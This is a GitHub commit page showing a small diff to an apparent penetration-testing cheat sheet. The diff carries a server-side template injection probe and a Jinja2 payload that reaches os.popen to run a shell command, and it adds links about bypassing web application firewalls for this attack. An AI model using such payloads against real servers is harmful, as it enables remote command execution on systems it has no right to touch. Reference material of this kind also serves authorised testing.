Update Cheat Sheet.md

This commit is contained in:
ARZ 2021-09-06 17:06:30 +05:00 committed by GitHub
parent ef195c1719
commit 496bd71462
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -529,6 +529,11 @@ Check for `{{4*4}}` on the url `http://IP/{{4*4}}` if it returns "16" as a resul
**Exploit**<br/>
`{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}`
### SSTI WAF Bypass
- https://chowdera.com/2020/12/20201221231521371q.html
- https://www.fatalerrors.org/a/0dhx1Dk.html
- https://hackmd.io/@Chivato/HyWsJ31dI
### XSS Session Hijacking